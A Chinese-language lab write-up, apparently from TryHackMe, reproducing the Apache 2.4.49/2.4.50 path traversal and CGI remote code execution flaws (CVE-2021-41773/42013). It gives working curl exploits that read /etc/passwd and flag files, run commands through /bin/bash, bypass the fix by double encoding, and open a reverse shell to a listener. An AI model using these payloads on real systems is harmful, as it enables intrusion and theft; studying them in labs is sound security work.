CVE-2021-41773 apache路径遍历
来自tryhackeme的漏洞复现
CVE-2021-41773/42013
利用:路径遍历利用将允许服务器公开任意文件
需要启用mod_cgi模块才能获得远程代码执行
2021 年 10 月 5 日,一个 CVE 详细描述了对 Apache HTTP Server v2.4.49 的路径遍历攻击。分配编号为 CVE-2021-41773,发布时具有
以下描述:
在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目
录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,这些请求可能会成功。此外(原文如此)这个缺陷可能会泄露 CGI 脚
本等解释文件的来源。已知此问题在野外被利用。此问题仅影响 Apache 2.4.49,不影响更早的版本。
所以 Apache 修复了这个错误并发布了 v2.4.50。故事结束了,对吧?好吧,不完全是。仅仅 2 天后,即 10 月 7 日,一个新的 CVE 引用了之前的内容。这个提到对早期路径遍历攻击的修复是不完整的,如果有问题的路径使用别名指令将其 URL 映射到文件系统,我们仍然可以遍历。CVE编号为CVE-2021-42013,说明如下:
发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不足。攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录
之外的文件。如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,这些请求可以成功。如果还为这些别名路径
(sic) 启用了 CGI 脚本,这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,不影响更早的版本。
Apache 服务器中路径规范化模块的最新更改随后允许特制 URL 绕过过滤器并遍历文档根目录之外,从而允许在配置允许的情况下读取系统上的任意文件。此外,如果启用了 CGI 模块,则还可以执行任意文件!
'.'进行url编码时为'%2e'
'%%32%65'解码为'%2e'
通过阅读配置得知该cgi-bin路径在默认情况下是别名的,所以让我们使用它吧!该漏洞在 2.4.49 和 2.4.50 版本之间略有不同。
未启用 CGI 的 Apache 2.4.49
如果不启用 CGI,我们只能读取文件。使用 curl,我们只需访问我们想要的文件,.在每个路径段中对其中一个文件进行 url 编码。
curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
启用 CGI 的 Apache 2.4.49
为了执行代码,我们可以简单地调用shorbash主体中的命令。请注意,还必须发出 Content-Type 响应标头,以便客户端知道如何显示结果。
curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
Apache 2.4.50
这个特殊的例子在版本 2.4.50 中得到修复。但是,修复不完整,无法解决 URL 的双重编码问题。在这种情况下,我们可以使用与以前版本相同的结构,路径如下:
curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
实践考试
-v 详细输出
没有 CGI 的 Apache 2.4.49:http://10.10.195.31:8080
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt'
带有 CGI 的 Apache 2.4.49:http://10.10.195.31:8081
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
没有 CGI 的 Apache 2.4.50:http://10.10.195.31:8082
curl 'http://10.10.195.31:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
带有 CGI 的 Apache 2.4.50:http://10.10.195.31:8083
curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;cat /flag.txt' -H "Content-Type: text/plain"
开启本地监听nc -lvnp 1234
反弹shell curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;sh -i >& /dev/tcp/10.14.46.2/1234 0>&1' -H "Content-Type: text/plain"
CVE-2021-41773 apache路径遍历的更多相关文章
- 路径遍历:ZIP条目覆盖
程序在解压zip文件时,如果没有验证zip条目,攻击者可能对条目覆盖,从而造成路径遍历 例如:以下代码示例解压zip文件. static final int BUFFER = 512; / ...
- 5 X 5 方阵引出的寻路算法 之 路径遍历(完结)
此篇文章源自对一个有趣问题的思考,在我的另一篇博文<一个有趣的 5 X 5 方阵一笔画问题>中有详细介绍.在已知其结论的情况下,作为程序员的我,还是想利用该问题当做出发点,写一个可以遍 ...
- 墨者学院靶场:uWSGI(CVE-2018-7490)路径遍历漏洞复现
0x01漏洞简介 uWSGI是一款Web应用程序服务器,它实现了WSGI.uwsgi和http等协议.uWSGI 2.0.17之前版本中存在路径遍历漏洞,该漏洞源于程序没有正确的处理DOCUMENT_ ...
- Apache Flink上传路径遍历(CVE-2020-17518)
影响版本 Flink1.5.1-1.11.2 复现 POST /jars/upload HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, def ...
- Apache Flink jobmanager/logs路径遍历CVE-2020-17519
影响版本 1.11.0 1.11.1 1.11.2 poc http://192.168.49.2:8081/jobmanager/logs/..%252f..%252f..%252f..%252f. ...
- MFC 添加文件路径 遍历文件
.添加MFC选择文件路径,使用MessageBox显示信息. void CMyCalLawsDlg::OnBnClickedAddfolder() { wchar_t* p; wchar_t szPa ...
- WEB渗透技术之浅析路径遍历
1. 发送 http://www.nuanyue.com/getfile=image.jgp 当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://sit ...
- C 给定路径遍历目录下的所有文件
在此之前需要了解 WIN32_FIND_DATA的结构 以及 FindFirstFile. FindNextFile原型以及用法注意事项传送门如下 https://msdn.microsoft.co ...
- CTF--HTTP服务--路径遍历(拿到www-data用户权限)
开门见山 1. 扫描靶机ip,发现PCS 172.18.4.20 2. 用nmap扫描靶机开放服务及版本 3. 再扫描靶机的全部信息 4. 用nikto工具探测http服务敏感信息 5. 用dirb工 ...
- sys添加调用模块的路径;遍历可以调用模块的路径
import sys sys.path.append("D:") for i in sys.path: print(i)
随机推荐
- 一文了解清楚kafka消息丢失问题和解决方案
前言 今天分享一下kafka的消息丢失问题,kafka的消息丢失是一个很值得关注的问题,根据消息的重要性,消息丢失的严重性也会进行放大,如何从最大程度上保证消息不丢失,要从生产者,消费者,broker ...
- 自己动手从零写桌面操作系统GrapeOS系列教程——22.文件系统与FAT16
学习操作系统原理最好的方法是自己写一个简单的操作系统. 新买的硬盘和优盘在第一次使用时需要格式化,有时候还需要分区.这是为什么呢?分区和格式化到底是干啥呢?本讲将为大家解开这些疑惑. 一.文件系统 1 ...
- Go语言:编写一个 WebsiteRacer 的函数,用来对比请求两个 URL 来「比赛」,并返回先响应的 URL。如果两个 URL 在 10 秒内都未返回结果,返回一个 error。
问题: 你被要求编写一个叫做 WebsiteRacer 的函数,用来对比请求两个 URL 来「比赛」,并返回先响应的 URL.如果两个 URL 在 10 秒内都未返回结果,那么应该返回一个 error ...
- OSM(OpenStreetMap)全球路网数据下载方式介绍
本文对OpenStreetMap(OSM)网页与各类OSM数据的多种下载方式加以详细介绍,并对不同数据下载方式加以对比. OSM数据包含道路与铁路路网.建筑.水体.土地利用.兴趣点.行政区边界 ...
- stm32的学习笔记1
一 目录结构管理 Libraries是放官方固件库的 MDK-ARM是放产生的文件的,工程存放的目录 USERS是放自己写的代码的 然后是一个解释文件README 在MDK-ARM目录里还要创建两个文 ...
- 如何通过Java代码将添加页码到PDF文档?
页码可以清楚了解总页数.定位页数快速寻找自己所要的文段.打印时不会分不清头中尾.很多人在使用办公软件的时候就会选择PDF进行文档的保存,因为PDF在保存之后不会出现乱码甚至是格式改变的情况.在PDF中 ...
- 最新版 Harbor 在ubuntu系统上安装
最新版 Harbor 在ubuntu系统上安装 The latest version of Harbor is installed on the ubuntu system 安装docker Inst ...
- CommunityToolkit.Mvvm系列文章导航
包 CommunityToolkit.Mvvm (又名 MVVM 工具包,以前名为 Microsoft.Toolkit.Mvvm) 是一个现代.快速且模块化的 MVVM 库. 它是 .NET 社区工具 ...
- Linux内存和磁盘管理(入门)
关于对Linux系统的内存和磁盘的操作 内存和磁盘使用率 查看内存使用率: free.top 查看磁盘使用率: fdisk.df.du free 以KB为单位: $ free total used f ...
- OpenCv人脸检测技术-(实现抖音特效-给人脸戴上墨镜)
OpenCv人脸检测技术-(实现抖音特效-给人脸戴上墨镜) 本文章用的是Python库里的OpenCv. OpenCv相关函数说明 import cv2 # 导入OpenCv库 cv2.imread( ...